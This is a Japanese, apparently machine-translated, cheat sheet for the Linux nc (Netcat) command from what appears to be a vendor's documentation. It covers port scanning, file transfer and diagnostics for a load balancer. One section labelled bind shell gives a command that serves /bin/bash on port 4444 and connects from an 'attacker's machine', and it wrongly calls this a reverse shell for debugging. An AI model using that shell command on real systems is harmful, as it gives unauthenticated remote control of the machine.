Linux nc (Netcat) コマンド #
Linux nc (Netcat) コマンドは、ネットワーク通信、デバッグ、テストに使用される多用途のネットワークユーティリティです。単純なサーバーまたはクライアントとして動作し、TCP または UDP 経由のデータの読み書きをサポートします。ネットワークの「スイスアーミーナイフ」とも呼ばれています。 nc ポートスキャン、ファイル転送、ネットワークサービスのテストなどのタスクに広く使用されています。
キーの使用法と構文 nc Command #
の基本的な構文 nc コマンドは:
nc [OPTIONS] [HOST] [PORT]
- OPTIONS: の動作を制御するフラグ
nc. - 主催者: 接続のターゲットホスト。
- PORT: ターゲットポート番号。
nc コマンドチートシート表 #
| Command | 詳細説明 |
nc -zv example.com 80 |
ポート80がオンになっているかテストする example.com 開いています (詳細モード)。 |
nc -l 1234 |
ポート 1234 でリスナーを開始します。 |
nc example.com 80 |
ポート80に接続 example.com (例: HTTP リクエストを送信する)。 |
nc -u example.com 1234 |
UDPポート1234にデータを送信 example.com. |
nc -l -p 8080 |
ポート 8080 でリッスンするサーバーを起動します。 |
echo "Hello" | nc example.com 1234 |
メッセージを送ります Hello 〜へ example.com ポート1234で。 |
一般的な使用例 #
1. ポートスキャン #
nc -zv example.com 20-25
このコマンドはポート20~25をスキャンします example.com ステータスを出力します。
2. シンプルなチャットの設定 #
2 つのシステム間で簡単なチャットを設定します。
最初のシステムの場合: #
nc -l -p 1234
2番目のシステムの場合: #
nc HOSTNAME 1234
交換する HOSTNAME 最初のシステムの IP アドレスを使用します。
3. ファイル転送 #
2つのシステム間でファイルを転送するには nc:
送信者: #
cat file.txt | nc -q 0 HOSTNAME 1234
受信機: #
nc -l -p 1234 > file.txt
4. バナーグラビング #
リモート サーバーからサービス情報を取得します。
nc example.com 80
タイプ HEAD / HTTP/1.0 を押し Enter HTTP ヘッダーを表示するには 2 回クリックします。
高度な使用法 #
UDP接続 #
ターゲットへの UDP 接続をテストします。
nc -u example.com 1234
これはUDPポート1234にデータを送信します example.com.
バインドシェル #
デバッグ用の簡単なリバース シェルを作成します。
リモート マシン上: #
nc -l -p 4444 -e /bin/bash
攻撃者のマシン上: #
nc TARGET 4444
Netcatを安全に使用する #
セキュリティを強化するには、暗号化バージョンを使用してください。 nc (例えば、 ncat SSL 対応)。
使い方 nc RELIANOID ソリューション #
In RELIANOIDのネットワークインフラストラクチャ、 nc さまざまな診断および運用目的に使用できます。
1. ロードバランサの接続をテストする #
nc -zv loadbalancer.realianoid.local 80
ロード バランサーがポート 80 でトラフィックを受け入れていることを確認します。
2. バックエンドサービスを監視する #
バックエンド サーバーのステータスをすばやく確認します。
nc -zv backend1.realianoid.local 8080
これは、バックエンド サービスがポート 8080 でアクセス可能かどうかを確認します。
3. プロキシサーバー転送を検証する #
プロキシ サーバーがトラフィックを正しく転送しているかどうかをテストします。
nc proxy.realianoid.local 443
4. カスタムプロトコルのデバッグ #
nc カスタムプロトコルとの相互作用をデバッグまたはシミュレートする RELIANOIDの環境。
nc -l -p 5555
プロトコル メッセージをテストするためのリスナーを設定します。
製品概要 #
その nc (Netcat)コマンドは、ネットワークプロフェッショナルにとって欠かせないツールです。ポートスキャン、ファイル転送、接続のデバッグなどの機能を備えているため、多用途のアプリケーションに最適です。 nc RELIANOID インフラストラクチャは、堅牢なネットワーク パフォーマンスと迅速な問題解決を保証します。